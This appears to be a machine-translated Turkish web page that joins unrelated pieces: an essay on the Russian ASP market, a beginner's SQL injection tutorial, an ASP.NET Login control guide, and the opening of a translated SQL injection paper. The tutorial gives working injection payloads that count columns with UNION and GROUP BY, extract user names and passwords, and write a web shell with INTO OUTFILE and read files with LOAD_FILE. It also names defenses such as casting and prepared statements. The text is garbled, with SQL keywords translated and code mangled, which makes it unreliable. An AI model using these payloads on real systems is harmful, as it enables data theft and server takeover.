Menü
Bedava
kayıt
ev  /  Kurulum ve konfigürasyon/ SQL uygulamalarında temel sql enjeksiyonu. Aptallar için bir rehber

SQL uygulamalarında temel sql enjeksiyonu. Aptallar için bir rehber

Şu anda, Rusya'da tam teşekküllü bir ASP pazarının oluştuğu söylenemez. Rus kullanıcılarının çoğu hala ASP konseptini işleri için faydalı görmüyor. Şu anda (makalenin hazırlandığı sırada) Rus pazarı büyük bir kuruluşta tam ölçekli ASP uygulamasının tek bir başarılı örneği yoktur. Aslında, ASP modelinin yalnızca barındırma, ayrı uygulanan öğeleri, ASP işine girmek isteyen şirketler vb. vardır. Yani, klasik ASP modelinin Rusya'da henüz uygulanması yoktur.

Şimdi Rusya pazarında, ASP modeli yalnızca kişiselleştirilmiş posta hizmetlerine (Mail.ru, Beep.ru, Freemail.ru, vb.) ve özel yüksek teknoloji hizmetlerine (örneğin, afiş ve arama motorları, İnternet) uygulanabilir. istatistik sistemleri, vb.) ... Aynı zamanda, posta hizmetlerinin kiralanması, yalnızca her bir bireysel kullanıcıya kişisel bir posta kutusu sağlanması anlamına gelmez. Ücretsiz posta sunucuları küçük işletmeler ve özel girişimciler tarafından kurumsal sektörde yaygın olarak kullanılmaktadır. Bu tür hizmetlerin ana müşterileri, kurumsal bir posta hizmeti düzenlemek (veya kurumsal belge akışını otomatikleştirmek) veya İnternet sağlayıcıları (örneğin, Rambler.ru, Yandex.ru, vb. portallar) ve ücretsiz bir Web postası düzenlemek isteyen şirketlerdir. izleyicileri için hizmet.

Elektronik mağazaların kiralanmasında Rus kullanıcıların belirli bir ilgisi var (elektronik ticaret platformundaki vitrinler). Ve bu anlaşılabilir. Rusya'da hala çok, çok az başarılı çevrimiçi ticaret örneği olduğu için (birkaç şirketin etkileyici başarıları hakkında yüksek sesle açıklamalarına rağmen), bir elektronik mağaza kiralamak için (birkaç kişiden daha az) daha az para harcamak en mantıklı görünüyor. satın almak ve sürdürmek). Bir proje başarısızlığı durumunda, yeterince hızlı ve önemli kayıplar olmadan kapatılabilir. Batı'da yaygın olan ERP uygulamalarının kiralanması şu anda Rusya'da sadece pilot projeler aşamasında.

Kiraya sunulan uygulamalar arasında hem nispeten basit ofis takımları (MS Office gibi) hem de daha karmaşık uygulamalar (Lotus Smart Suite gibi) ve ERP sistemleri (Navision Axapta gibi) sayılabilir.

Rus ASP pazarının temel sorunları ve özellikleri.

10.2 Rusya pazarındaki sorunlar.

Şu anda, Rus ASP pazarı, küresel ASP pazarının en az birkaç yıl gerisinde kalıyor. Rus ASP pazarının ilkel durumu, bir dizi mevcut sorundan kaynaklanmaktadır. Bu sorunların başlıcaları şunlardır:

1. Rus ekonomisinin Batı ekonomisinden genel geriliği ve işletmelerin teknik altyapısının az gelişmişliği. Şimdiye kadar, çoğu Rus işletmesi onlarca yıl önce oluşturulan teknik altyapı üzerinde faaliyet gösteriyor. Halihazırda işletmelerin modernizasyonuna yönelik yatırımları yetersiz kalmaktadır. Ve burada sorun daha çok işletmelerin finansal öncelikleridir, çünkü hepsi teknik altyapının modernizasyonuna gerekli fonları yatıramaz. Bu nedenle mevcut sorunlarını mevcut altyapı pahasına çözmek zorundalar.

2. ASP hizmetleri için düşük talep. Nüfus ve kurumsal müşteriler (çoğunlukla) ASP hizmetleri için ödeme yapmaya hazır değil. Ortalama bir Rus tüketicisi için harcamalarda daha acil ve hayati öncelikler varsa, kurumsal kullanıcılar henüz ASP hizmetlerini ciddiye almıyorlar.

3. Elektronik pazar için yasal çerçevenin zayıflığı. Tam yasa paketi kabul edilene kadar, elektronik pazarın (ASP dahil) gelişimi hakkında konuşmaya gerek yoktur.

4. Kurumsal müşterilerin mali tablolarının kapatılması (özellikle en çok ödeme gücü olan işletmeler).

5) BT Direnci (hem açık hem de örtük) büyük şirketler kendilerini başka görevlere yönlendirmek, personel ve BT bütçelerini kesmek vb.

6. Rus işletmeleri için ASP modelinde kullanılabilecek az sayıda uygulama.

7. Rusya işgücü piyasasında, nispeten düşük maaşlarla giriş ve orta düzeyde yeterince fazla sayıda BT uzmanının varlığı. 1998 krizinden sonra, BT uzmanlarının maaşlarının ezici çoğunluğu kriz sonrası aynı seviyede kaldı. Küçük ve orta ölçekli şirketlerin kendi BT hizmetlerini sürdürmeleri bazen ASP hizmetleri için ödeme yapmaktan daha ucuzdur (durumun tam tersi olduğu Batılı şirketlerin aksine).

Selamlar okuyucu. Son zamanlarda Web güvenliği ile ilgileniyorum ve işim bir dereceye kadar bununla ilgili. Çünkü Çeşitli forumlardaki konuları giderek daha fazla fark etmeye başladım, her şeyin nasıl çalıştığını gösterme isteği ile bir makale yazmaya karar verdim. Makale, benzerine rastlamayan, ancak öğrenmek isteyenler için tasarlanacaktır. Bu konuyla ilgili çevrimiçi olarak nispeten çok makale var, ancak yeni başlayanlar için biraz karmaşık. Her şeyi anlaşılır bir dille ve ayrıntılı örneklerle açıklamaya çalışacağım.

Önsöz

Bu makaleyi anlamak için gerçekten SQL dili bilgisine ihtiyacınız yok, ama en azından iyi bir sabır ve ezber için biraz beyin gerekiyor.

Makaleyi bir kez okumanın yeterli olmayacağına inanıyorum, çünkü canlı örneklere ihtiyacımız var - bildiğiniz gibi, ezber sürecinde pratik yapmak asla gereksiz değildir. Bu nedenle, savunmasız komut dosyaları yazacağız ve bunlar üzerinde eğitim alacağız.

SQL Enjeksiyonu nedir?
Basit bir ifadeyle, bu, komut dosyası yaratıcısı tarafından planlanmayan bazı eylemleri gerçekleştirmenize izin verecek olan veritabanına yapılan bir saldırıdır. Gerçek hayat örneği:

Baba, anneme Vasya'ya 100 ruble vermesi için bir not yazdı ve masaya koydu. Bunu bir şaka SQL diline dönüştürerek şunları elde ederiz:
Cüzdandan 100 RUBLE ÇIKAR VE ONLARI Vasya'ya VER

Baba notu kötü yazdığından (Boğumlu el yazısı) ve masanın üzerine bıraktığından, Vasya'nın kardeşi Petya gördü. Petya, hacker olduğu için oraya “VEYA Petya”yı ekledi ve şu istek geldi:
Cüzdandan 100 Ruble ALIN VE ONLARI Vasya VEYA Petya'ya VERİN

Annem notu okuduktan sonra dün Vasya'ya para vermeye karar verdi ve Pete'e 100 ruble verdi. İşte basit bir örnek SQL enjeksiyonu hayattan :) Verileri filtrelemeden (Anne el yazısını zar zor anlayabiliyordu), Petya kâr etti.

Hazırlık
Pratik yapmak için, bu makalenin kaynak komut dosyalarını içeren bir arşive ihtiyacınız olacak. İndirin ve sunucuda paketini açın. Ayrıca veritabanını içe aktarın ve dosyadaki verileri ayarlayın cfg.php

SQL enjeksiyon araması

Zaten anladığınız gibi, enjeksiyon, filtrelenmemiş gelen verilerden görünür. En yaygın hata, geçirilen kimliği filtrelememektir. Eh, kabaca konuşursak, tüm alanlarda alıntıları değiştirin. Bir GET / POST isteği veya hatta bir Çerez olsun!

Sayısal giriş parametresi
Pratik yapmak için bir komut dosyasına ihtiyacımız var index1.php... Yukarıda söylediğim gibi, haber kimliğindeki alıntıları değiştiriyoruz.

Çünkü isteğimizde filtreleme yok:

$ kimlik = $ _GET ["kimlik"]; $ sorgu = "SELECT * FROM FROM NEREDE id = $ id";

Senaryo bunu şu şekilde anlayacaktır:

SEÇ * HABERDEN NEREDE id = 1 "

Ve bize bir hata verecektir:
Uyarı: mysql_fetch_array (), parametre 1'in kaynak olmasını bekler, boolean C: \ WebServ \ domains \ sqlinj \ index1.php satır 16'da verilir

Hata döndürülmezse, aşağıdaki nedenler olabilir:

1.SQL enjeksiyonu burada değil - Alıntılar filtrelendi veya sadece dönüştürmeye değer mi? (int)
2. Devre dışı hata çıkışı.

Hala bir hata alıyorsanız - Yaşasın! İlk tür SQL enjeksiyonunu bulduk - Sayısal giriş parametresi.

Dize giriş parametresi

istekleri göndereceğiz index2.php... V bu dosya, istek şöyle görünür:
$ kullanıcı = $ _GET ["kullanıcı"]; $ sorgu = "SEÇ * HABERDEN NEREDE user =" $ user "";

Burada kullanıcı adına göre haber seçiyoruz ve yine filtreleme yapmıyoruz.
Yine, bir teklifle bir istek gönderiyoruz:

Bir hata attı. TAMAM! Yani bir güvenlik açığı var. Başlangıç ​​için bu bizim için yeterli - hadi pratik yapmaya başlayalım.

Başlarken

biraz teori

Hatalar dışında muhtemelen bundan bir şeyler çıkarmak için sabırsızlanıyorsunuz. İlk önce, işaretin " -- "SQL'de bir yorum olarak kabul edilir.

DİKKAT! Ondan önce ve sonra boşluklar olmalıdır. URL'de şu şekilde iletilirler: %20

Yorumdan sonra gelen her şey atılacak. Yani istek:
SEÇİN * Haberlerden NEREDE user = "AlexanderPHP" - habrahabra

Başarılı olacak. Bunu index2.php betiğinde şunun gibi bir istek göndererek deneyebilirsiniz:

Sqlinj / index2.php? Kullanıcı = AlexanderPHP "% 20 -% 20habrahabr

Parametreyi öğrenin BİRLİK... SQL dilinde anahtar kelime BİRLİK iki SQL sorgusunun sonuçlarını tek bir tabloda birleştirmek için kullanılır. Yani, ihtiyacımız olan bir şeyi başka bir masadan çıkarmak için.

Bundan faydalanmak

Parametre "Sayısal" ise, istekte bir teklif göndermemize ve doğal olarak sonuna bir yorum koymamıza gerek yoktur. Senaryoya geri dönelim index1.php.

sqlinj / index1.php betiğine bakalım id = 1 UNION SELECT 1. Veritabanına şöyle bir sorgu alıyoruz:
SELECT * FROM NEREDE id = 1 UNION SELECT 1
Ve bize bir hata verdi, çünkü sorguların toplanmasıyla çalışmak için aynı sayıda alana ihtiyacımız var.

Çünkü ilk istekte numaralarını etkileyemiyoruz, o zaman ikincideki numaralarını birinciye eşit olacak şekilde seçmemiz gerekiyor.

Alan sayısını seçme

Alan seçimi çok basittir, aşağıdaki istekleri göndermeniz yeterlidir:
sqlinj / index1.php?id = 1 UNION SELECT 1,2
Hata…
sqlinj / index1.php?id = 1 BİRLİĞİ SEÇİMİ 1,2,3
Yine hata!
sqlinj / index1.php?id = 1 BİRLİĞİ SEÇİMİ 1,2,3,4,5
Hata yok! Yani sütun sayısı 5'tir.

GRUP TARAFINDAN
Genellikle 20 veya 40 hatta 60 alan olabilir.Her seferinde onları yinelememek için kullanırız GRUP TARAFINDAN

eğer istek
sqlinj / index1.php?id = 1 GROUP BY 2
hata vermedi, bu nedenle alan sayısı 2'den fazla. Deneyin:

Sqlinj / index1.php?Id = 1 GRUP BY 8
Oops, bir hata görüyoruz, yani alan sayısı 8'den az.

GROUP BY 4 ile hata yoksa ve GROUP BY 6 ile hata yoksa, alan sayısı 5'tir.

Görüntülenecek sütunları tanımlama
İlk istekte bize hiçbir şeyin gösterilmemesini sağlamak için, var olmayan bir kimliğin yerine kullanılması yeterlidir, örneğin:

Sqlinj / index1.php Id = -1 UNION SELECT 1,2,3,4,5


Bu işlem ile sayfada hangi sütunların görüntüleneceğini belirledik. şimdi, bu numaraları gerekli bilgilerle değiştirmek için isteğe devam etmeniz gerekiyor.

Veri çıkışı

Diyelim ki masanın hala var olduğunu biliyoruz kullanıcılar hangi alanlarda var İD, isim ve geçmek.
ID = 1 olan kullanıcı hakkında bilgi almamız gerekiyor

Bu nedenle, şöyle bir sorgu oluşturalım:

Sqlinj / index1.php Id = -1 UNION SELECT 1,2,3,4,5 FROM kullanıcılar WHERE id = 1
Komut dosyası da çıktı almaya devam ediyor

Bunu yapmak için, 1 ve 3 sayılarının yerine alanların adını değiştireceğiz.

Sqlinj / index1.php Id = -1 UNION SELECT ad, 2, geçiş, 4,5 KİMDEN kullanıcılar NEREDE id = 1
Gerekeni aldık!

Komut dosyasında olduğu gibi "dize giriş parametresi" için index2.php başına bir tırnak işareti ve sonuna bir yorum işareti eklemeniz gerekir. Örnek:
sqlinj / index2.php?user = -1 "UNION SELECT adı, 2, geçiş, 4,5 KİMDEN kullanıcılar NEREDE id = 1 -% 20

Dosya Okuma / Yazma

Dosyaları okumak ve yazmak için veritabanı kullanıcısının FILE_PRIV haklarına sahip olması gerekir.
Dosya kaydı
Aslında, her şey çok basit. Bir dosya yazmak için işlevi kullanacağız OUTFILE.
sqlinj / index2.php?user = -1 "UNION OUTFILE INTO 1,2,3,4,5 SEÇİMİ" 1.php "-% 20
Harika, dosya bize kaydedildi. Böylece mini kabuğu doldurabiliriz:
sqlinj / index2.php?user = -1 "UNION SELECT 1"", 3,4,5 OUTFILE'A" 1.php "-% 20
Dosyaları okumak
Dosyaları okumak yazmaktan bile daha kolaydır. İşlevi kullanmak yeterince kolaydır DOSYA YÜKLE, seçtiğimiz alanın yeri için:

Sqlinj / index2.php?Kullanıcı = -1 "UNION SELECT 1, LOAD_FILE (" 1.php "), 3,4,5 -% 20

Böylece bir önceki kaydedilen dosyayı okuduk.

Koruma yöntemleri

Savunmak, bir güvenlik açığından yararlanmaktan bile daha kolaydır. Sadece verileri filtreleyin. Numaraları geçiyorsanız, kullanın
$ id = (int) $ _GET ["id"];
Kullanıcı malroc tarafından önerildiği gibi. PDO veya hazırlanmış ifadeler kullanılarak korunur.

tamamlama yerine

" ile ilgili ilk bölümümü burada bitirmek istiyorum. SQL enjeksiyonu yeni başlayanlar için". İkincisinde, daha ağır enjeksiyon örneklerine bakacağız. Savunmasız komut dosyaları yazmaya ve sorguları kendiniz yürütmeye çalışın.
Ve unutmayın, sitenizin hiçbir kullanıcısına güvenmeyin.

Etiketler: Etiket Ekle

Giriş kontrolü

Oturum Açma denetimi, Üyelik API'si ile bağlantılı olarak form kimlik doğrulaması için bir oturum açma sayfası oluşturmayı kolaylaştırır. Kullanıma hazır bir Kullanıcı arayüzü bu, kullanıcı adını ve şifreyi sorar ve kullanıcıya giriş yapmak için bir düğme ister. Perde arkasında, önceki bir makalede açıklanan işlevleri kapsar: Üyelik API'si aracılığıyla kullanıcı kimliklerini doğrulama ve başarılı bir oturum açma sonrasında güvenli bir uygulama alanında orijinal olarak istenen sayfaya yeniden yönlendirme gibi temel form tabanlı kimlik doğrulama işlevlerini kapsama.

Bu, Login'in Üyelik.ValidateUser() veya FormsAuthentication.RedirectFromLoginPage() gibi şeyleri içine aldığı anlamına gelir, bu nedenle bu kodu kendiniz yazmanız gerekmez. Aşağıdaki şekil, Giriş kontrolünü çalışırken gösterir:

Kullanıcı Oturum Aç düğmesini her tıkladığında, denetim, Üyelik.ValidateUser() işlevini kullanarak kullanıcı adını ve parolayı otomatik olarak doğrular ve ardından doğrulama başarılı olursa FormsAuthenication.RedirectFromLoginPage() öğesini çağırır. Oturum açma denetiminin tüm seçenekleri, bu yöntemlere sağladığı girdiyi etkiler. Örneğin, Bir dahaki sefere beni hatırla onay kutusunu işaretlerseniz, RedirectFromLoginPage() yönteminin createPersistentCookie parametresinde true olarak geçer. Bu nedenle, FormsAuthenticationModule kalıcı bir tanımlama bilgisi oluşturur.

Perde Arkasında Oturum Açma, bir ASP.NET bileşik denetimidir. Tamamen genişletilebilir - herhangi bir düzen stilini ve özelliğini geçersiz kılmanıza ve varsayılan davranışını geçersiz kılmak için oluşturulan olayları engellemenize izin vermesi anlamında. Denetimi değiştirmeden bırakırsanız ve herhangi bir olay yakalamazsanız, uygulama için yapılandırılmış üyelik sağlayıcıyı otomatik olarak kullanır.

Bir sayfadaki Giriş denetiminin en basit biçimi şöyle görünür:

Oturum açma denetiminin görünümünü değiştirmek için çeşitli özellikler sağlanmıştır. Aşağıda gösterildiği gibi farklı stil ayarları uygulayabilirsiniz:

Ek olarak, Login'in görünümünü özelleştirmek için CSS sınıfları kullanılabilir. Login denetimi tarafından desteklenen her stil özelliği, bir CssClass özelliği içerir. Herhangi bir ASP.NET denetiminde olduğu gibi, bu özellik, web sitesine önceden eklenmiş olan CSS sınıfının adını belirtmenize olanak tanır. Projenize MyStyles.css dosya adıyla aşağıdaki CSS stil sayfasını eklediğinizi varsayalım:

MyLoginTextBoxStyle (imleç: işaretçi; arka plan rengi: sarı; metin hizalama: merkez; dolgu: 6 piksel; kenarlık: noktalı siyah; yazı tipi ailesi: Verdana; dikey hizalama: orta;) .Login (ekran: satır içi blok;) .Title (dolgu: 6px;)

Bu stil dosyası, Login öğesinin stilini oluşturabilmek için giriş sayfasına dahil edilebilir:

Aşağıdaki tablo, Oturum Açma denetimi tarafından desteklenen stilleri listeler. Her stil aynı şekilde çalışır. Yazı tipi ve renk özellikleri doğrudan ayarlanabilir veya istenen CSS sınıfını belirtmek için CssClass özelliğini kullanabilirsiniz:

Oturum Açma Kontrolü Tarafından Desteklenen Stiller
stil Açıklama
CheckBoxStyle

Bir dahaki sefere beni hatırla onay kutusunun stil özelliklerini tanımlar

Arıza Stili

Başarısız bir oturum açma durumunda görüntülenen metnin stilini tanımlar

HyperLinkStyle

Oturum açma kontrolü, örneğin ilk kayıt sayfası gibi çeşitli türlerde köprüler tanımlamanıza olanak tanır. Bu stil, bu tür köprülerin görünümünü belirler.

TalimatMetinStil

Oturum Açma denetimi, doğrudan kendi içinde görüntülenecek yardım metnini belirlemenize olanak tanır. Bu stil, bu metnin görünümünü ayarlar.

Etiket Stili

Kullanıcı Adı ve Parola etiketleri için stili belirtir

Giriş DüğmesiStyle

Giriş düğmesinin stilini tanımlar

Metin Kutusu Stili

Kullanıcı Adı ve Parola metin alanlarının stilini belirtir

BaşlıkMetinStil

Oturum açma denetimi için başlık metninin stilini belirtir

ValidatorTextStyle

Kullanıcı adı ve parolayı doğrulamak için kullanılan kontrollerin stillerini tanımlar

Login öğesinin kullanıcı arabirimi, yalnızca bu stillerden daha fazlasıyla özelleştirilebilir; diğer ek özellikler, grafik arabirimini özelleştirmenize olanak tanıyan Oturum Aç düğmesi gibi denetim içeriğinin belirli bölümlerini hedefler.

Örneğin, oturum açma düğmesinde görüntülenen metni seçebilir veya hatta bu düğme yerine bir köprü görüntüleyebilirsiniz (varsayılan olarak ayarlandığı gibi). Ayrıca, Oturum Açma denetimine bir yardım sayfasına veya kayıt sayfasına bağlantı gibi birden çok köprü ekleyebilirsiniz. Her iki sayfa da anonim erişime açık olmalıdır, çünkü anonim kullanıcılara da yardım sunulmalıdır (biri Oturum Açma kontrolünü görürse, potansiyel olarak anonim bir kullanıcı olduğunu unutmayın). Oturum Açma'ya ek bağlantılar eklemek için, daha önce gösterilen tanımı aşağıdaki gibi değiştirin:

...

Bu kod, biri yardım sayfasına, diğeri ilk kayıt sayfasına olmak üzere iki ek bağlantı görüntüler ve Login öğesinin başlığının altına kısa bir talimat metni ekler:

Daha önce açıklanan stiller bu özellikler için de geçerlidir. Aşağıdaki tablo, Oturum Açma kontrolünü özelleştirmek için önemli özellikleri açıklamaktadır:

Oturum Açma Kontrolünü Özelleştirmek İçin Önemli Özellikler
Mülk Açıklama
Mesaj metni
BaşlıkMetin

Kontrolün başlığında görüntülenen metin

Talimat Metni

Bu özellik, önceki kod parçacığında zaten kullanılmış. Kontrol başlığının altında görüntülenen metni içerir

ArızaMetin

Oturum açma girişimi başarısız olursa Oturum Açma denetimi tarafından görüntülenen metin

KullanıcıAdıEtiketMetin

Kullanıcı adı metin alanından önce etiket olarak görüntülenen metin

ŞifreEtiketMetin

Kullanıcının parola metin alanından önce etiket olarak görüntülenen metin

Kullanıcı adı

Kullanıcı adı metin kutusunu dolduran ilk değer

Kullanıcı adıRequiredErrorMessage

Kullanıcı bir ad girmediyse görüntülenen hata mesajı

ŞifreGerekliHataMesajı

Kullanıcı bir parola girmediyse görüntülenen hata mesajı

Giriş düğmesi
GirişDüğmesiMetin

Giriş düğmesinde görüntülenen metin

Giriş DüğmesiTürü
LoginButtonImageUrl

Giriş butonu bir grafik resim olarak sunuluyorsa, bu resmin bulunduğu URL'yi belirtmelisiniz.

Giriş sayfası
HedefSayfaUrl'si

Oturum açma girişimi başarılı olursa, Oturum Açma denetimi kullanıcıyı bu sayfaya yönlendirir. Bu özellik varsayılan olarak boştur. Empty, istenen orijinal sayfaya veya Web.config'de Form Kimlik Doğrulaması için yapılandırılan defaultUrl'ye yeniden yönlendirmek için Form Kimlik Doğrulama Çerçevesini kullanır.

ArızaAksiyon

Başarısız bir oturum açma girişiminden sonra denetimin gerçekleştireceği eylemi belirler. Geçerli iki seçenek Refresh ve RedirectToLoginPage'dir. İlk değer yalnızca geçerli sayfayı yenilerken, ikincisi yapılandırılmış oturum açma sayfasına yönlendirir. İkinci seçenek, Oturum Açma denetimi oturum açma sayfasından başka bir yerde kullanılıyorsa kullanışlıdır.

VisibleWhenLoggedIn

Yanlış olarak ayarlanırsa, kullanıcı zaten oturum açmışsa kontrol otomatik olarak kendini gizleyecektir. true (varsayılan) olarak ayarlanırsa, kullanıcı oturum açmış olsa bile Login öğesi görüntülenir.

Beni Hatırla Etiketini Yapılandırma
Ekran Beni Hatırla

Bir dahaki sefere beni hatırla onay kutusunu gösterir veya gizler. Varsayılan olarak bu özellik true olarak ayarlanmıştır

Beni Hatırla

Bir dahaki sefere beni hatırla onay kutusu için varsayılan değeri belirtir. Varsayılan olarak, bu özellik false olarak ayarlanmıştır, yani. onay kutusu işaretli değil

Kayıt sayfası
CreateUserUrl

Bir web sitesinde bir kullanıcı oluşturmanıza (kaydetmenize) izin veren bir sayfaya köprü tanımlar. Bu nedenle, kullanıcıya ilk kayıt sayfasına erişim sağlamak için yaygın olarak kullanılır. Bu genellikle CreateUserWizard denetimini görüntüler.

Kullanıcı Metni Oluştur
CreateUserIconUrl

CreateUserUrl köprü metniyle birlikte görüntülenen grafik resmin URL'si

yardım sayfası
Yardım SayfasıUrl'si

Kullanıcıyı yardım sayfasına yönlendirmek için URL

Yardım SayfasıMetni
Yardım SayfasıIconUrl

HelpPageUrl köprü metniyle birlikte görüntülenen simgenin URL'si

Şifre kurtarma sayfası
Şifre Kurtarma URL'si

Kullanıcıyı parola kurtarma sayfasına yönlendirmek için URL. Bu sayfa, kullanıcı şifresini unuttuğunda geçerlidir. Genellikle bir PasswordRecovery denetimi görüntüler.

ŞifreKurtarmaMetni
Şifre KurtarmaIconUrl

PasswordRecoveryUrl köprü metniyle birlikte görüntülenen simgenin URL'si

Giriş şablonları ve kontrol

Gördüğünüz gibi, tüm bu özellikler Login kontrolünü çok esnek hale getiriyor. Ancak muhtemelen fark ettiğiniz gibi, girişi doğrulamak için herhangi bir ifade tanımlamak imkansızdır. Login kontrolü tarafından sunulan olay prosedürleri içerisinde sunucu taraflı doğrulama uygulamak elbette mümkündür. Login kompozit kontrolüne bazı elementler eklemeniz gerektiğinde, bu yukarıda sunulan özellikler üzerinden yapılamaz. Örneğin, bazı devlet sitelerinin yaptığı gibi, ikinci bir parola veya özel geçiş anahtarıyla güçlü kimlik doğrulama için ikinci bir metin kutusuna ihtiyacınız varsa?

Neyse ki, GridView gibi diğer kontroller gibi, Login kontrolü de şablonları destekler. Şablonları kullanarak, Giriş denetiminin içeriğini herhangi bir kısıtlama olmaksızın özelleştirebilirsiniz. Herhangi bir yeni kontrol buna eklenebilir. Bir tanıtıcı kullanarak Oturum Açma denetimine özel bir şablon uygular DüzenŞablon:

Kayıt olmak

Kullanıcı adı:
Parola:


Yukarıdaki koda bakıldığında, bir soru ortaya çıkıyor: Bir şablon kurarken çok fazla kullanıcı arayüzü kodu yazmanız (veya bir görsel tasarımcıda tasarlamanız) gerekiyorsa, neden Login kontrolünü kullanmadan kendi login sayfanızı yazmıyorsunuz?

Bu doğru soru. Ancak, daha önce açıklandığı gibi, ön uç, Login öğesinin yalnızca bir parçasıdır. Örneğin, kullanıcının oturum açma düğmesine tıklaması durumunda, Oturum Açma denetimi, kullanıcıyı üyelik deposuna karşı otomatik olarak doğrulamak için gerekli tüm koda zaten sahiptir ve bunu, form kimlik doğrulama çerçevesi aracılığıyla istenen orijinal sayfaya yeniden yönlendirir. Böylece kesinlikle bu kodu yazmaktan kurtulmuş olursunuz.

Doğru kontroller ve bu kontroller için doğru tanımlayıcı değerler ile olay işleme kodu yazmanıza gerek kalmaz. Kod, bir dizi denetim ve bunların düzenini tanımlamanız dışında olağan şekilde çalışır. Gerçekte, Oturum Açma denetimi, KullanıcıAdı ve Parola olmak üzere en az iki metin alanı gerektirir. Bu iki metin alanı eksikse (veya farklı tanımlayıcı değerlerine sahipse), Login bir istisna atar. Diğer tüm kontroller isteğe bağlıdır, ancak uygun bir tanımlayıcı değeri sağlarsanız (oturum açma düğmesi gibi), o zaman Oturum Açma, olayları otomatik olarak işleyecek ve varsayılan düzen uygulanmış gibi davranacaktır.

Aşağıdaki tablo, tanımlayıcıların özel değerlerini, onlar için gerekli olan eleman tiplerini ve zorunlu bayrağı listeler:

Oturum açma tanımlayıcısına sahip denetim, baloncuk yayılımını ve CommandName özelliğini destekleyen herhangi bir şey olabilir. Bu öğenin CommandName özelliğini Login olarak ayarlamak önemlidir, çünkü aksi takdirde Oturum Açma denetimi, olay işleme sırasında bunu tanımaz. CommandName özelliği Login olarak ayarlanmış bir kontrol eklemezseniz, olayları kendiniz ele almanız ve kullanıcı adını ve parolayı doğrulamak ve istenen orijinal sayfaya yönlendirmek için uygun kodu yazmanız gerekir.

Ayrıca, Giriş ile hiçbir ilgisi olmayan diğer kimliklerle kontroller de ekleyebilirsiniz. Yukarıdaki kod, kullanıcı adı ve parola alanlarını doğrulamak için RequiredFieldValidator ve RegularExpressionValidator öğelerini kullandı.

LayoutTemplate kullanırken, denetimin yerel özelliklerinin çoğu artık kullanılamaz. Bir şablon uygulandığında yalnızca aşağıdaki özellikler kullanılabilir durumda kalır:

    HedefSayfaUrl'si

    VisibleWhenLoggedIn

  • Üyelik Sağlayıcı

Tüm stil özellikleri ve öğelerin metin içeriğini varsayılan olarak özelleştirmek için birkaç özellik, ayrı denetimler veya Login öğesi şablonuna statik metin olarak manuel olarak eklenebildiklerinden artık Visual Studio özellik düzenleyicisinde mevcut değildir. Bunları şablon modunda Login öğesine eklerseniz, şablon bu özelliklerden yararlanan Login öğesinin varsayılan arabirimini geçersiz kıldığından, yalnızca yoksayılırlar.

Giriş Kontrol Programlama

Oturum Açma denetimi, davranışını özelleştirmek için kullanabileceğiniz birkaç olayı ve özelliği destekler. Oturum açma denetiminin ince ayarı üzerinde tam denetim sağlarlar (şablonlar ve stil özellikleri gibi diğer özelleştirme araçlarıyla birlikte). Oturum Açma denetimi, aşağıdaki tabloda listelenen olayları destekler:

Giriş Kontrol Olayları
Etkinlik Açıklama
Giriş

Kontrol tarafından kullanıcı kimlik doğrulamasından hemen önce başlatıldı

Giriş

Kullanıcının kimliği kontrol tarafından doğrulandıktan sonra ateşlendi

Sisteme giriş hatası

Bir kullanıcı herhangi bir nedenle oturum açamadığında tetiklenir (örneğin, yanlış bir şifre veya kullanıcı adı)

kimlik doğrulama

Kullanıcı kimlik doğrulaması için tetiklendi. Bu olayı hallederseniz, kullanıcının kimliğini kendiniz doğrulamanız gerekir ve Oturum Açma kontrolü tamamen sizin doğrulama kodunuza bağlı olacaktır.

İlk üç olay, kullanıcı kimlik doğrulamasından önce, kimlik doğrulamadan sonra ve kimlik doğrulama sırasında bir hata olması durumunda bazı eylemleri gerçekleştirmek için ele alınabilir. Örneğin, LoginError olayı, aşağıda gösterildiği gibi, belirli sayıda oturum açma denemesinden sonra kullanıcıyı otomatik olarak parola kurtarma sayfasına yönlendirmek için kullanılabilir:

Protected void Page_Load (nesne gönderici, EventArgs e) (if (! This.IsPostBack) ViewState ["LoginErrors"] = 0;) protected void Login1_LoginError (nesne gönderici, EventArgs e) (// LoginErrors durumu yoksa, oluşturun it if (ViewState ["LoginErrors"] == null) ViewState ["LoginErrors"] = 0; // Başarısız oturum açma girişimlerinin sayacını artırın int ErrorCount = (int) ViewState ["LoginErrors"] + 1; ViewState ["LoginErrors "] = ErrorCount ; // ((ErrorCount> 3) && (Login1.PasswordRecoveryUrl! = String.Empty)) Response.Redirect (Login1.PasswordRecoveryUrl);) başarısız denemelerin sayısını kontrol edin;)

Login kontrolü, olayları aşağıdaki şekilde gösterilen sırayla üretir:

Daha önce belirtildiği gibi, Authenticate olayına müdahale ederseniz, kendi kullanıcı adınızı ve parola doğrulama kodunuzu eklemeniz gerekir. Mülk kimlik doğrulama AuthenticateEventArgs parametre listesinin bir örneğini korur. Bu olay bağımsız değişken sınıfı, Authenticated adlı bir özelliği destekler. True olarak ayarlanırsa, Login denetimi kimlik doğrulamasının başarılı olduğunu varsayar ve LoggedIn olayını başlatır. Bu özelliği false olarak ayarlarsanız, FailureText görüntülenir ve LoginError olayı başlatılır:

Korumalı void Login1_Authenticate (object sender, AuthenticateEventArgs e) (if (Membership.ValidateUser (Login1.UserName, Login1.Password)) (e.Authenticated = true;) else (e.Authenticated = false;))

Gördüğünüz gibi, ilgili metin kutularına girilen metni içeren KullanıcıAdı ve Şifre özellikleri aracılığıyla girilen değerlere doğrudan erişim vardır. Şablonlu denetimler kullanıyorsanız ve KullanıcıAdı ve Parolaya ek olarak başka bir denetimden bir değer almak istiyorsanız, bu ek denetimi almak için FindControl() yöntemini kullanabilirsiniz. Bu yöntem, istenen öğenin kimliğini alır ve System.Web.UI.Control örneğini döndürür. Ortaya çıkan nesne daha sonra istenen kontrolün türüne dönüştürülür ve kullanıcı için özel kimlik doğrulama yönteminin gerektirdiği değer okunur.

Bu çalışma, Chris Anley'in Advanced SQL Injection In SQL Server Applications kitabının bir bölümünün çevirisidir. ()
Sonraki makalelerde, boş zamanın müsaitliğine bağlı olarak bu çeviri tamamlanacaktır.

not Çeviri, eğitim ve tarihi amaçlar için daha ilginç olacaktır.

Orijinal makale başlığı: SQL Uygulamalarında Gelişmiş SQL Enjeksiyonu.

Dipnot

Bu makale, iyi bilinen Microsoft Internet Information Server / Active Server Pages / SQL Server platformu için yaygın "SQL enjeksiyon" yöntemlerini detaylandırmaktadır. Uygulamalarda SQL enjeksiyonunun çeşitli kullanımlarını tartışır ve enjeksiyonun kullanılabileceği veritabanlarının güvenliğini ve veri doğrulama yöntemlerini açıklar.

Tanıtım

